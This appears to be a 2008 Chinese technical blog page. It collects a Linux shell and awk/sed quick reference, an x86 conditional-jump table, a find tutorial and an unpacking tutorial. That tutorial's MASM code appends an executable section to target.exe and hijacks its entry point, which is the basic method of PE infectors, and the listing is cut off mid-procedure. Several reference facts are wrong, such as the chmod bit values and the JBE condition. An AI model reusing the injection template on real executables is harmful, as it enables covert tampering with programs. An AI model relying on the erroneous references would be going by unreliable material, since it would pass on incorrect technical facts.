2008年9月19日

linux shell快速参考

*********************************************************************
*1, 文件及权限
*********************************************************************
chmod who [operator] [permission] filename
相对模式:
operator: +/-
permission:r,w,x,l(给文件加锁),s(设置文件宿主或组set_ID),t(粘帖位)
绝对模式:
权限: r(2), w(4), x(1)
uid: owner(set_uid)(2), group(set_gid)(4), 粘帖位(1)
设置uid时把uid的绝对组合数字放在最前面
umask:
允许设置文件创建时的缺省模式, 对每一类用户存在相应的mask数字, 对于文件
该值最大为6, 因为系统不允许在创建文件时赋予执行权限, 对于目录来讲最大
值为7, 例子:

(目录) umask: 101 对应的权限为676

*********************************************************************
*2, 文件名替换
*********************************************************************
* 匹配任何字符串
? 匹配单个字符串
[...] 匹配其中的任何字符
[!...]匹配非!之后的字符


*********************************************************************
*3, shell 的输入与输出
*********************************************************************
echo 输出语句
read 变量1 变量2 ...
cat 用来显示文件 分割显示文件 显示控制字符
tee 把一个副本传递到标准输出同时也把另一个副本COPY到相应的文件中
shell 3个相关的文件描述符:
0 标准输入
1 标准输出
2 标准错误
文件重定向:
> 定向到文件
>> 追加到文件
对标准错误重定向时必须是文件描述符:
command 0/1/2 >/>> filename
command >/>> filename 0/1/2>&0/1/2

command < filename
command << delimiter 从标准输入中读入直到遇到delimiter分界符
command <&m 把m作为标准输入
command >&m 把标准输出重定向到m中去
command <&- 关闭标准输入


*********************************************************************
*4, shell 命令的执行顺序
*********************************************************************
&& 如:命令1 && 命令2 只有命令1返回真(0),命令2才被执行
|| 如:命令1 || 命令2 如果命令1执行失败, 则执行命令2
() 在当前shell执行一组命令, 如(命令1;命令2;...), 如用{}则组中所有的命令的输出
作为一个整体被重定向时,则放到子shell执行否则放到当前shell执行



*********************************************************************
*5, 文本过滤(正则表达式)
*********************************************************************
^ 匹配行首 如^c
$ 只匹配行尾 如$c
* 一个单字符后跟*, 匹配0或多个此字符
[] 匹配[]内字符, 可以是单字也可以是字符序列, 也可以使用-表示字符范围,如[1-5]
\ 用来匹配一个元字符的特殊含义
. 匹配任意单字符
pattern\{n\} 匹配前面的pattern,n为次数
pattern\{n,\}m 同上但次数至少为n
patterb\{n,m\} 同上但次数在n与m之间


*********************************************************************
*5, awk, 主要用来格式化文本
*********************************************************************
awk脚本:
可以使用-F指定分割符, 如果未指定则使用空格
模式和动作:
模式可以式任何语句, 模式包含BEGIN和END两个字段, 实际动作在{}内指定, 模式可
以省略
域和记录:
awk执行时其浏览域标识为$1,$2..., 使用$0表示使用所有域
正则表达式:
除了grep的正则表达式之外,awk还支持另外两个:
+ 匹配一个或多个字符
? 匹配模式出现频率,如/XY?Z/匹配XYZ和XZ
表达式需要用斜线括起来
条件操作符:
<, <=, ==,!=, >, >=, ~(匹配正则表达式), !~(不匹配正则表达式), 如:
awk '{if($4~/brown/) print $0}' grade.txt
符合表达式:
&& 语句两边必须同时匹配为真
|| 语句两边必须有一个匹配为真
! 非
内置变量:
ARGC 命令行参数个数
ARGV 命令行参数排列, 每个参数使用ARGV[n]访问, 下标以0开始
ENVIRON 支持队列中系统环境变量的使用, 如ENVIRON["PATH"] = "usr/local/bin"
FILENAME awk浏览的文件名,
FNR 浏览文件的记录数
FS 设置输入域分割符等价于-F选项
NF 浏览记录的域个数
NR 已读的记录数
OFS 输出域分割符, 缺省为空格
ORS 输出记录的分割符, 缺省为\n
RS 记录分割符号, 缺省为\n

操作符:
=, +=, *=, /=, %=, ^=
? 条件表达式操作符
||, &&, !
~, !~
<,<=,==,!=,>,>=
+,-,*,/,%,^
++, --
内置字符串函数:
gsub(r,s), 在整个$0中用s替代r
gsub(r,s,t) 在整个t中用s替代r
index(s,t) 返回s中字串t的第一位置
length(s)
match(s,r) 测试s是否包含匹配r的字符串
split(s,a,fs)在fs上将s分成序列a
sprintf(fmt,exp), 经格式化后的exp
sub(r,s) 用$0中最左边最长的字符串代替s
substr(s,p) 返回s中以p开始的部分
substr(s,p,n)
输出函数:
printf([格式控制符], 参数)

修饰符:
格式:
- 左对齐
.prec 最大字符串长度或小数点右边的位数
Width 域的步长, 用0表示0步长

格式符号:
%c 字符
%d
%e
%f
%g awk决定使用哪种浮点数转换e或者f
%o 八进制数
%s
%x 十六进制

awk数组:
使用数组前不必定义也不必指定数组元素的个数, 如:
'{split("123#224#245", myarrary, "#")}'

也可以先定义再使用.



*********************************************************************
*6, sed 文本过滤工具
*********************************************************************
sed [选项] sed命令 输入文件
sed [选项] -f 脚本文件 输入文件

查询方式:
sed默认从第一行开始
定位方式:
x 为一行号
x,y 行范围
/pattern/ 查询包含模式的行
/pattern/pattern/ 查询包含两个模式的行
/pattern/,x 在指定的行上查询包含模式的行
x,/pattern/ 通过行号和模式查询匹配行
x,y!查询不包含指定行号x,y的行

命令:
p 打印匹配行
= 显示文件行号
a\ 在定位行号后附加新文本信息
i\ 在定位行号号插入新文本信息
d 删除定位行
c\ 用新文本替换定位行
s 使用替换模式替换相应模式
r 从另一个文件中读文本
w 写文本到一个文件
q 第一个模式匹配后退出
l 显示与8进制ASCII代码等价的控制字符
{} 在定位行执行的命令组
n 从另一个文件中读取下一行, 并附加在下一行
g 将模式2粘贴到/pattern n/
y 传送字符
n 延续到下一输入行, 允许跨行的模式匹配语句


例子:
sed -n '2p' filename 第二行开始
sed -n '1,3p' filename 1~3行
sed -n '/pattern/p' filename
sed -n '4,/pattern/p'
sed -n '1,$p' filename 显示整个文件, $表示最后一行
sed -n '/pattern/=' 显示行号
sed '/pattern/a\text' 附加文本,在指定行后面
sed '4i\text' 插入文本, 在指定行前面
sed '/pattern/c\text' 替换指定行





替换文本:
[address[,address]] s/pattern-to-find/replace-pattern/[g p w n]
g 缺省只替换一次出现模式, 使用g替换全局所有模式
p 缺省sed将所有被替换行写入标准输出,使用p将不打印结果
w 文件名 将输出定向到一个文件




*********************************************************************
*7, 工具
*********************************************************************
tr 字符转换删除和替换
stty 设置终端特性



*********************************************************************
*8, shell环境及变量
*********************************************************************
本地变量:
variable-name = value 设置实际值到变量
variable-name + value 如果设置了variable-name则重设其值
variable-name :? value 如果未设置variable-name 显示未定义用户错误信息
variable-name ? value 如果未设置variable-name 显示系统错误信息
variable-name := value 如果未设置设置其值, 如果设置则使用原值
variable-namne :- value 如果未设置使用value替换但并不设置value到variable-name, 如果设置
则使用其值
unset variable 清除变量
set variable value 设置变量 如果不提供参数则显示所有本地变量
测试变量是否设置值:
echo "The file is ${FILE?}"
echo "The file is ${FILE:? sorry ....}"
设置只读变量:
readonly variable-name
设置环境变量:
export variable-name
env 显示所有环境变量
unset variable 清除环境变量

预留的变量名:
CDPATH cd 一个目录时查找此变量
EXINIT 保存VI初始化时的设置
HOME HOME目录
LFS 用来指定shell缺省的分割符
LOGNAME 保存登陆名
MAIL 保存邮箱路径名
MAILCHECK 缺省为每60秒检查一次新邮件
MAILPATH 如果有多个邮箱要用到MAILPATH,此变量将覆盖MAIL设置
PS1 shell提示符,缺省对root为#, 其他用户为$
PS2 shell附属提示符, 缺省为>, 用于执行超过一行的一个命令
SHELL 缺省shell
TERMINFO 终端初始化变量保存终端初始化配置
TERM 终端类型
TZ 时区
EDITOR 缺省的编辑器
PWD 当前路径名
PAGER 屏幕翻页命令
MANPATH man路径
PRINTER 缺省打印机名

向脚本传递参数, 用空格分割, $0~$9 其中$0始终保存的脚本名

特定变量参数:
$# 传递到脚本的参数个数
$* 以单个字符变量显示所有传递的参数,此选项参数可以超过9个
$$ 当前脚本进程的ID号
$! 后台运行的最后一个进程的ID号
$@ 与$#相同但是使用时加引号
$- SHELL的当前选项,与set相同
$? 显示命令的最后退出状态, 0为没错误, 其他任何值表示有错误



*********************************************************************
*9, 引号
*********************************************************************
使用单引号可以引用除字符$,反引号,\以外的任何字符
使用双引号可以引用任何值
使用反引号用于将系统命令输出到变量
反斜线引用特殊字符:&*+^$'""|?


*********************************************************************
*10, 条件测试
**********************************************************************
测试文件状态:
test condition 或 [ condition ] 使用[]要在两边加上空格
-d 目录
-f 正规文件
-L 符号连接
-r 可读
-s 文件长度大于0非空
-w 可写
-u 文件具有suid位设置
-x 可执行
-e 存在
-b 块文件
-c 字符设备文件
-g 设置了guid位
...
如: [ -f filename ]
echo $?

测试时使用逻辑操作:
-a 逻辑与 -o 逻辑或 !逻辑非, 如:
[ -w result.txt -a -w test.txt ]
字符串测试:
test "string"
test string_operator "string"
test "string" string_operator "string"
string_operator:
= 相等
!= 不等
-z 空串
-n 非空串
测试数值:
"number" number_operator "number"

[ "number" number_operator "number" ]
-eq 相等
-ne 不等
-gt 大于
-lt 小于
-le 小于等于
-ge 大于等于
expr 用于数值计算:
exper argument operator argument


**********************************************************************
*11, 控制流结构
**********************************************************************
if-else:
if 条件1
then
命令1
elif 条件2
then
命令2
else
命令3
fi
空命令永远为真
case 语句:
case 值 in
模式1)
命令1
...
;;
模式2)
命令2
...
;;
esac

for循环:
for 变量名 in 列表
do
命令1
命令2
...
done

until循环:
until 条件
do
命令1
命令2
...
done

while 循环:
while 命令
do
命令1
命令2
...
done

可以使用break continue 控制流程, 对case及循环有效


*********************************************************************
*12, shell 函数
*********************************************************************
格式:
函数名()
{
命令1
命令2
} 或
函数名() {
}
也可以在函数名前面加上function
参数传递:
和在shell中使用参数一样如$1 ~ $9, 如:
test() {
echo $1
echo $2
echo $3
}
调用: test 1 2 3
函数返回:
return 返回用最后的命令状态决定返回值
return 0
return 1
在shell中定位文件:
定位格式为:
. pathname
执行函数:
函数名 参数 ...
删除函数:
unset 函数名


*********************************************************************
*13, 向脚本传递参数
*********************************************************************
shift 命令:
他每执行一次参数个数减一且值向前移动一位,如:
while [ $# -ne 0 ]
do
echo $1
shift
done


********************************************************************
*14, 创建屏幕输出
********************************************************************
tput:
字符输出:
bel 警铃
blink 闪烁
bold 粗体
civis 隐藏光标
clear 清屏
cnorm 不隐藏光标
cup 移动光标位置到x,y
el 清除到行尾
ell 清除到行首
smso 启动突出显示
rmso 正常显示
smul 开始下划线模式
rmul 停止下划线模式
sc 保存当前光标位置
rc 恢复光标位置
sgr0 正常屏幕
rev 逆转视图

数字输出:
cols 列数目
it TAB设置宽度
lines 屏幕行数

布尔输出:
chts 光标不可见
hs 具有状态行
例子, 使用布尔输出:
STATUS_LINE=`tput hs`
if $STATUS_LINE; then
echo "Your terminal has a status line"
else
echo "Your terminal don't has a status line"
fi


使用颜色:
前景色:
30(黑) 31(红) 32(绿) 33(黄) 34(蓝) 35(紫) 36(青) 37(白)
背景色:
40(黑) 41(红) 42(绿) 43(黄) 44(蓝) 45(紫) 46(青) 47(白)

颜色格式:
[background_number;foreground_number]m
例子:
echo -e "\033[40;32m"

展开 Read More...

2008年9月11日

条件跳转参考

1.无符号数的条件转移指令

指令的助忆符

JE/JZ
ZF=1 Jump Equal or Jump Zero

JNE/JNZ
ZF=0 Jump Not Equal or Jump Not Zero

JA/JNBE
CF=0 and ZF=0 Jump Above or Jump Not Below or Equal

JAE/JNB
CF=0 Jump Above or Equal or Jump Not Below

JB/JNAE
CF=1 Jump Below or Jump Not Above or Equal

JBE/JNA
CF=1 or AF=1 Jump Below or Equal or Jump Not Above


2.有符号数的条件转移指令

指令的助忆符

JE/JZ
ZF=1 Jump Equal or Jump Zero

JNE/JNZ
ZF=0 Jump Not Equal or Jump Not Zero

JG/JNLE
ZF=0 and SF=OF Jump Greater or Jump Not Less or Equal

JGE/JNL
SF=OF Jump Greater or Equal or Jump Not Less

JL/JNGE
SF≠OF Jump Less or Jump Not Greater or Equal

JLE/JNG
ZF=1 or SF≠OF Jump Less or Equal or Jump Not Greater

3.特殊算术标志位的条件转移指令

指令的助忆符
检测的转移条件 功能描述
JC
CF=1 Jump Carry

JNC
CF=0 Jump Not Carry

JO
OF=1 Jump Overflow

JNO
OF=0 Jump Not Overflow

JP/JPE
PF=1 Jump Parity or Jump Parity Even

JNP/JPO
PF=0 Jump Not Parity or Jump Parity Odd

JS
SF=1 Jump Sign (negative)

JNS
SF=0 Jump No Sign (positive)


展开 Read More...

2008年8月27日

find命令

linux常用命令使用详解--find

每一种操作系统都是由成千上万个不同种类的文件所组成的。其中有系统本身自带的文件,用户自己的文件,还有共享文件等等。我们有时候经常忘记某份文件放在硬盘中的哪个地方。在微软的WINDOWS操作系统中要查找一份文件是相当简单的事情,只要在桌面上点击“开始”-“搜索”中就能按照各种方式在本地硬盘上,局域网络,甚至在INTERNET上查找各种文件,文档。

可是使用Linux的用户就没有那么幸运了,在Linux上查找某个文件确实是一件比较麻烦的事情。毕竟在Linux中需要我们使用专用的“查找”命令来寻找在硬盘上的文件。Linux下的文件表达格式非常复杂,不象 WINDOWS,DOS下都是统一的AAAAAAA.BBB格式那么方便查找,在 WINDOWS中,只要知道要查找的文件的文件名或者后缀就非常容易查找到。Linux中查找文件的命令通常为“find”命令,“find”命令能帮助我们在使用,管理Linux的日常事务中方便的查找出我们需要的文件。对于Linux新手来说,“find”命令也是了解和学习Linux文件特点的方法。因为Linux发行版本繁多,版本升级很快,在Linux书籍上往往写明某个配置文件的所在位置,往往Linux新手按图索骥还是不能找到。比如说 REDHAT Linux 7.O和REDHAT Linux 7.1中有些重要的配置文件所在的硬盘位置和文件目录就有了很大的改变,如果不学会使用“find”命令,那么在成千上万的Linux文件中要找到其中的一个配置文件是相当困难的,笔者在没有精通“find”命令之前就吃过这样的苦头。好,下面就详细为大家介绍强大的“find”命令的全部使用方法和用途。

通过文件名查找法:
这个方法说起来就和在WINDOWS下查找文件一样容易理解了。如果你把这个文件放在单个的文件夹里面,只要使用常见的“ls"命令就能方便的查找出来,那么使用“find”命令来查找它就不能给你留下深刻的印象,毕竟“find”命令的强大功能不止这个。如果知道了某个文件的文件名,而不知道这个文件放到哪个文件夹,甚至是层层套嵌的文件夹里。举例说明,假设你忘记了httpd.conf这个文件在系统的哪个目录下,甚至在系统的某个地方也不知道,则这是可以使用如下命令:

find / -name httpd.conf

这个命令语法看起来很容易就明白了,就是直接在find后面写上 -name,表明要求系统按照文件名查找,最后写上httpd.conf这个目标文件名即可。稍等一会系统会在计算机屏幕上显示出查找结果列表:

/etc/httpd/conf/httpd.conf


这就是httpd.conf这个文件在Linux系统中的完整路径。查找成功。
如果输入以上查找命令后系统并没有显示出结果,那么不要以为系统没有执行find/ -name httpd.conf命令,而可能是你的系统中没有安装Apache服务器,这时只要你安装了Apache Web服务器,然后再使用find / -name httpd.conf就能找到这个配置文件了。

无错误查找技巧:
在Linux系统中“find”命令是大多数系统用户都可以使用的命令,并不是ROOT系统管理员的专利。但是普通用户使用“find”命令时也有可能遇到这样的问题,那就是Linux系统中系统管理员ROOT可以把某些文件目录设置成禁止访问模式。这样普通用户就没有权限用“find”命令来查询这些目录或者文件。当普通用户使用“find”命令来查询这些文件目录是,往往会出现"Permissiondenied."(禁止访问)字样。系统将无法查询到你想要的文件。为了避免这样的错误,我们可是使用转移错误提示的方法尝试着查找文件,输入

find / -name access_log 2>/dev/null

这个方法是把查找错误提示转移到特定的目录中去。系统执行这个命令后,遇到错误的信息就直接输送到stderrstream 2 中,access_log 2就是表明系统将把错误信息输送到stderrstream 2中,/dev/null是一个特殊的文件,表明空的或者错误的信息,这样查询到的错误信息将被转移了,不会再显示了。

在Linux 系统查找文件也会遇到这样一个实际问题。如果我们在整个硬盘,这个系统中查找某个文件就要花费相当长的一段时间,特别是大型Linux系统和容量较大的硬盘,文件放在套嵌很深的目录中的时候。如果我们知道了这个文件存放在某个大的目录中,那么只要在这个目录中往下找就能节省很多时间了。使用 find /etc -name httpd.conf 就可以解决这个问题。上面的命令就是表示在etc目录中查询httpd.conf这个文件。这里再说明一下“/ ”这个函数符号的含义,如果输入 “find / ”就是表示要求Linux系统在整个ROOT目录下查找文件,也就是在整个硬盘上查找文件,而“find /etc”就是只在 etc目录下查找文件。因为“find /etc”表示只在etc目录下查找文件,所以查找的速度就相应要快很多了。

根据部分文件名查找方法:
这个方法和在WINDOWS中查找已知的文件名方法是一样的。不过在Linux中根据部分文件名查找文件的方法要比在WINDOWS中的同类查找方法要强大得多。例如我们知道某个文件包含有srm这3个字母,那么要找到系统中所有包含有这3个字母的文件是可以实现的,输入:

find /etc -name '*srm*'

这个命令表明了Linux系统将在/etc整个目录中查找所有的包含有srm这3个字母的文件,比如 absrmyz, tibc.srm等等符合条件的文件都能显示出来。如果你还知道这个文件是由srm 这3个字母打头的,那么我们还可以省略最前面的星号,命令如下:

find /etc -name 'srm*'

这是只有像srmyz 这样的文件才被查找出来,象absrmyz或者 absrm这样的文件都不符合要求,不被显示,这样查找文件的效率和可靠性就大大增强了。

根据文件的特征查询方法:
如果只知道某个文件的大小,修改日期等特征也可以使用“find”命令查找出来,这和WINDOWS系统中的"搜索"功能是基本相同的。在微软的"搜索" 中WINDOWS中的"搜索助理"使得搜索文件和文件夹、打印机、用户以及网络中的其他计算机更加容易。它甚至使在Internet 上搜索更加容易。"搜索助理"还包括一个索引服务,该服务维护了计算机中所有文件的索引,使得搜索速度更快。使用"搜索助理"时,用户可以指定多个搜索标准。例如,用户可以按名称、类型及大小搜索文件和文件夹。用户甚至可以搜索包含特定文本的文件。如果用户正使用 Active Directory,这时还可以搜索带有特定名称或位置的打印机。

例如我们知道一个Linux文件大小为1,500 bytes,那么我们可是使用如下命令来查询

find / -size 1500c

字符 c 表明这个要查找的文件的大小是以bytes为单位。如果我们连这个文件的具体大小都不知道,那么在Linux中还可以进行模糊查找方式来解决。例如我们输入

find/ -size +10000000c

这个命令,则标明我们指定系统在根目录中查找出大于10000000字节的文件并显示出来。命令中的“+”是表示要求系统只列出大于指定大小的文件,而使用“-”则表示要求系统列出小于指定大小的文件。下面的列表就是在Linux使用不同“ find"命令后系统所要作出的查找动作,从中我们很容易看出在Linux中使用“find"命令的方式是很多的,“ find"命令查找文件只要灵活应用,丝毫不必在WINDOWS中查找能力差。

注意#后是注释
find / -amin -10 # 查找在系统中最后10分钟访问的文件
find / -atime -2 # 查找在系统中最后48小时访问的文件
find / -empty # 查找在系统中为空的文件或者文件夹
find / -group cat # 查找在系统中属于 groupcat的文件
find / -mmin -5 # 查找在系统中最后5分钟里修改过的文件
find / -mtime -1 #查找在系统中最后24小时里修改过的文件
find / -nouser #查找在系统中属于作废用户的文件
find / -user fred #查找在系统中属于FRED这个用户的文件


下面的列表就是对find命令所可以指定文件的特征进行查找的部分条件。在这里并没有列举所有的查找条件,参考有关Linux有关书籍可以知道所有find命令的查找函数。

-amin n
查找系统中最后N分钟访问的文件
-atime n
查找系统中最后n*24小时访问的文件
-cmin n
查找系统中最后N分钟被改变状态的文件
-ctime n
查找系统中最后n*24小时被改变状态的文件
-empty
查找系统中空白的文件,或空白的文件目录,或目录中没有子目录的文件夹
-false
查找系统中总是错误的文件
-fstype type
查找系统中存在于指定文件系统的文件,例如:ext2 .
-gid n
查找系统中文件数字组 ID 为 n的文件
-group gname
查找系统中文件属于gnam文件组,并且指定组和ID的文件


Find命令的控制选项说明:
Find命令也提供给用户一些特有的选项来控制查找操作。下表就是我们总结出的最基本,最常用的find命令的控制选项及其用法。
选项
用途描述
-daystart
.测试系统从今天开始24小时以内的文件,用法类似-amin
-depth
使用深度级别的查找过程方式,在某层指定目录中优先查找文件内容
-follow
遵循通配符链接方式查找; 另外,也可忽略通配符链接方式查询
-help
显示命令摘要
-maxdepth levels
在某个层次的目录中按照递减方法查找
-mount
不在文件系统目录中查找, 用法类似 -xdev.
-noleaf
禁止在非UNUX文件系统,MS-DOS系统,CD-ROM文件系统中进行最优化查找
-version
打印版本数字


使用-follow选项后,find命令则遵循通配符链接方式进行查找,除非你指定这个选项,否则一般情况下find命令将忽略通配符链接方式进行文件查找。

-maxdepth选项的作用就是限制find命令在目录中按照递减方式查找文件的时候搜索文件超过某个级别或者搜索过多的目录,这样导致查找速度变慢,查找花费的时间过多。例如,我们要在当前(.)目录技巧子目录中查找一个名叫fred的文件,我们可以使用如下命令

find . -maxdepth 2 -name fred

假如这个fred文件在./sub1/fred目录中,那么这个命令就会直接定位这个文件,查找很容易成功。假如,这个文件在. /sub1/sub2/fred目录中,那么这个命令就无法查找到。因为前面已经给find命令在目录中最大的查询目录级别为2,只能查找2层目录下的文件。这样做的目的就是为了让find命令更加精确的定位文件,如果你已经知道了某个文件大概所在的文件目录级数,那么加入-maxdepth n 就很快的能在指定目录中查找成功。

使用混合查找方式查找文件
find命令可以使用混合查找的方法,例如我们想在/tmp目录中查找大于100000000字节并且在48小时内修改的某个文件,我们可以使用-and 来把两个查找选项链接起来组合成一个混合的查找方式。

find /tmp -size +10000000c -and -mtime +2

学习过计算机语言的朋友都知道,在计算机语言里,使用and ,or 分别表示“与”和“或”的关系。在Linux系统的查找命令中一样通用。
还有这样的例子,

find / -user fred -or -user george

我们可以解释为在/tmp目录中查找属于fred或者george这两个用户的文件。
在find命令中还可以使用“非”的关系来查找文件,如果我们要在/tmp目录中查找所有不属于panda的文件,使用一个简单的

find /tmp ! -user panda

命令就可以解决了。很简单。

查找并显示文件的方法
查找到某个文件是我们的目的,我们更想知道查找到的文件的详细信息和属性,如果我们采取现查找文件,在使用LS命令来查看文件信息是相当繁琐的,现在我们也可以把这两个命令结合起来使用。

find / -name "httpd.conf" -ls

系统查找到httpd.conf文件后立即在屏幕上显示httpd.conf文件信息。

12063 34 -rw-r--r-- 1 root root 33545 Dec 30 15:36 /etc/httpd/conf/httpd.conf

下面的表格就是一些常用的查找文件并显示文件信息的参数和使用方法
选项
用途描述

-exec command;
查找并执行命令
-fprint file
打印文件完整文件名
-fprint0 file
打印文件完整文件名包括空的文件
-fprintf file format
打印文件格式
-ok command;
给用户命令执行操作,根据用户的Y 确认输入执行
-printf format
打印文件格式
-ls
打印同种文件格式的文件.


总结:到这里为止我们已经学习了这名多关于find命令的使用方法,也列出了很多常用的find命令的选项,如果我们能熟练掌握在Linux中find命令的使用方法,那么在Linux中查找文件也不是一件困难的事情。

展开 Read More...

linux ThunderBird收发邮件

注意端口的设置,具体操作看

gmail
http://mail.google.com/support/bin/answer.py?answer=77662

汇总:
http://kb.mozillazine.org/Creating_accounts_in_Thunderbird_for_popular_email_providers

hotmail:
http://forum.ubuntu.org.cn/viewtopic.php?t=44186&postdays=0&postorder=asc&start=0
不过俺也得到了must pay, 个SB MS

展开 Read More...

2008年8月26日

本质理解脱壳之 添加节

代码含注释
流程如下:
1 将文件映射到内存得到基地址
2 检验PE标志
3 添加新节
3.1 增加节个数
3.2 得到文件对齐和节对齐值
3.3 通过节个数得到最后一节节头的地址和新节节头的地址
3.4 构建新节节头,包括name,Characteristics,misc.VirtualSize(实际大小),
通过VirtualSize文件对齐得到SizeOfRawData
3.5 通过最后一节节头VirtualAddress+VirtualSize节对齐后得到新节的VirtualAddress
通过最后一节节头PointerToRawData+SizeOfRawData文件对齐后得到新节PointerToRawData
3.6 修改SizeOfImage大小为新节的VirtualAddress+VirtualSize节对齐值
3.7 通过新节的PointerOfRawData(文件中的新节位置),将新节清0
4 修改 AddressOfEntryPoint, 旧的保存到新节最后, 新的指向新节首地址
5 将新节数据填充到新节中




.386
.model flat, stdcall
option casemap:none

include AddSection.Inc

APPEND_SIZE equ 2000h ;;添加到文件尾的大小

.const

g_szTargetFile db 'target.exe', 0
g_szNewSectionName db ".cjay", 0
g_szOpenFileFailed db "打不开文件", 0
g_szErr db "错误", 0
g_szDone db "成功", 0
g_szDoneCap db "Good Job", 0
g_szGetFileSizeFailed db "获取文件大小失败", 0
g_szCreateMapFailed db "创建文件映射失败", 0
g_szMapFileFailed db "映射文件失败", 0
g_szInvalidPE db "无效PE文件", 0

.data
g_bError db 0 ;错误代码
g_dwNewSectionSize dd 0 ;新节长度


;; 函数定义
CryptFile proto szFname : LPSTR ;;加密文件
AddSection proto pMem : LPVOID, pSectionName : LPVOID, dwSectionSize : DWORD ;; 添加新节
PEAlign proto dwTarNum : DWORD, dwAlignTo : DWORD ;;对齐

.code
Start:
invoke CryptFile, offset g_szTargetFile
invoke ExitProcess, 1

CryptFile proc szFname : LPSTR
LOCAL hFile : HANDLE
LOCAL hMap : HANDLE
LOCAL pMem : LPVOID
LOCAL dwOrigFileSize : DWORD ;;存放原始文件大小
LOCAL dwNTHeaderAddr : DWORD ;;存放NT头地址

xor eax, eax
mov hFile, eax
mov hMap, eax
mov pMem, eax

mov g_bError, al
mov eax, offset EndNewSection - offset NewSection
mov g_dwNewSectionSize, eax

;; open File
invoke CreateFile,szFname, \
GENERIC_READ+GENERIC_WRITE,\
FILE_SHARE_READ+FILE_SHARE_WRITE,\
NULL,\
OPEN_EXISTING,\
FILE_ATTRIBUTE_NORMAL,\
0
.IF eax == INVALID_HANDLE_VALUE
jmp OpenFileFailed
.endif
mov hFile, eax

invoke GetFileSize, hFile, NULL
.IF eax == 0
jmp GetFileSizeFailed
.endif

mov dwOrigFileSize, eax
add eax, APPEND_SIZE
xchg eax, ecx

;; create memory map
xor ebx, ebx
invoke CreateFileMapping, hFile, ebx, PAGE_READWRITE, ebx, ecx, ebx
.IF eax == 0
jmp CreateMapFailed
.endif
mov hMap, eax

;; map file to memory
invoke MapViewOfFile, hMap, FILE_MAP_WRITE+FILE_MAP_READ+FILE_MAP_COPY,ebx,ebx,ebx
.IF eax == 0
jmp MapFileFailed
.endif
mov pMem, eax

;; check PE
xchg eax, esi
assume esi : ptr IMAGE_DOS_HEADER
.IF [esi].e_magic != 'ZM'
jmp InvalidPE
.endif
add esi, [esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
.IF word ptr [esi].Signature != 'EP'
jmp InvalidPE
.endif
mov dwNTHeaderAddr, esi

;; add section
invoke AddSection,pMem,offset g_szNewSectionName,g_dwNewSectionSize
;; return New Section Addr(VA)
push eax
mov esi, dwNTHeaderAddr
assume esi : ptr IMAGE_NT_HEADERS
;;AddressOfEntryPoint
mov ebx, dword ptr [esi].OptionalHeader.AddressOfEntryPoint
add ebx, dword ptr [esi].OptionalHeader.ImageBase
;; Save the old entry
mov eax, offset OrigAddressOfEntry
mov dword ptr [eax], ebx
;; New Rntry is at New Section start
pop eax
assume eax : ptr IMAGE_SECTION_HEADER
push dword ptr [eax].VirtualAddress
pop dword ptr [esi].OptionalHeader.AddressOfEntryPoint

mov esi, offset NewSection
mov edi, dword ptr [eax].PointerToRawData
add edi, pMem
mov ecx, g_dwNewSectionSize
cld
rep movsb

LogicShellExit:
;; close handle & write it
.IF pMem != NULL
invoke UnmapViewOfFile, pMem
.endif
.IF hMap != NULL
invoke CloseHandle, hMap
.endif
.IF hFile != NULL
invoke CloseHandle, hFile
.endif
.IF g_bError == 0
;; show success message
invoke MessageBox, NULL, offset g_szDone, offset g_szDoneCap, MB_ICONINFORMATION
.ENDIF
ret
;; ----- Show error message -----
OpenFileFailed:
lea eax, g_szOpenFileFailed
jmp ShowErr
GetFileSizeFailed:
lea eax, g_szGetFileSizeFailed
jmp ShowErr
CreateMapFailed:
lea eax, g_szCreateMapFailed
jmp ShowErr
MapFileFailed:
lea eax, g_szMapFileFailed
jmp ShowErr
InvalidPE:
lea eax, g_szInvalidPE
jmp ShowErr
ShowErr:
invoke MessageBox, NULL, eax, offset g_szErr, MB_ICONERROR
mov al, 1
mov g_bError, al
jmp LogicShellExit
;; ----- NEW SCETION-----
NewSection:
call GetEip
GetEip:
pop eax
add eax, offset OrigAddressOfEntry - offset GetEip
mov eax, dword ptr [eax]
jmp eax
OrigAddressOfEntry dd ?
EndNewSection:

CryptFile endp

AddSection proc uses ebx ecx edx esi edi, pMem:LPVOID, pSectionName:LPVOID, dwSectionSize:DWORD
LOCAL dwNTHeader : LPVOID
LOCAL dwFileAlign : DWORD ;文件对齐
LOCAL dwSecAlig : DWORD ;节对齐
LOCAL dwLastSecTbl : DWORD ;最后一节地址(VA)
mov esi, pMem
add esi, dword ptr [esi+03ch]
mov dwNTHeader, esi
assume esi : ptr IMAGE_NT_HEADERS
mov cx, word ptr [esi].FileHeader.NumberOfSections
movzx ecx, cx
inc word ptr [esi].FileHeader.NumberOfSections
push dword ptr [esi].OptionalHeader.FileAlignment
pop dwFileAlign
push dword ptr [esi].OptionalHeader.SectionAlignment
pop dwSecAlig

add esi, sizeof IMAGE_NT_HEADERS ;Section Header Base
mov eax, sizeof IMAGE_SECTION_HEADER
mov ebx, ecx
imul ebx
add esi, eax

push esi
sub esi, sizeof IMAGE_SECTION_HEADER
mov dwLastSecTbl, esi
pop esi ;; esi保存了新节地址
;; 设置新节
assume esi : ptr IMAGE_SECTION_HEADER
push esi
lea edi, [esi].Name1
mov esi, pSectionName
CopySectionNameLoop:
lodsb
test al, al
jz EndCopySectionNameLoop
stosb
jmp CopySectionNameLoop
EndCopySectionNameLoop:
pop esi
;;属性
push 0E00000E0h
pop dword ptr [esi].Characteristics
;;VirtualSize
push dwSectionSize
pop dword ptr [esi].Misc.VirtualSize
;;SizeOfRawdata
invoke PEAlign, dwSectionSize, dwFileAlign
mov dword ptr [esi].SizeOfRawData, eax
;;VirtualAddress, PointerToRawData
mov eax, dwLastSecTbl
assume eax : ptr IMAGE_SECTION_HEADER
mov ecx, dword ptr [eax].VirtualAddress
add ecx, dword ptr [eax].Misc.VirtualSize
mov ebx, dword ptr [eax].PointerToRawData
add ebx, dword ptr [eax].SizeOfRawData

invoke PEAlign,ecx,dwSecAlig
mov dword ptr [esi].VirtualAddress, eax
invoke PEAlign,ebx,dwFileAlign
mov dword ptr [esi].PointerToRawData, eax
;; SizeOfImage
mov eax, dword ptr [esi].VirtualAddress
add eax, dword ptr [esi].Misc.VirtualSize
invoke PEAlign,eax,dwSecAlig
mov edx, dwNTHeader
assume edx : ptr IMAGE_NT_HEADERS
mov dword ptr [edx].OptionalHeader.SizeOfImage, eax

push dword ptr [esi].PointerToRawData
pop edi
add edi, pMem
;; clear new Section
mov ecx, dwSectionSize
xor eax, eax
cld
rep stosb

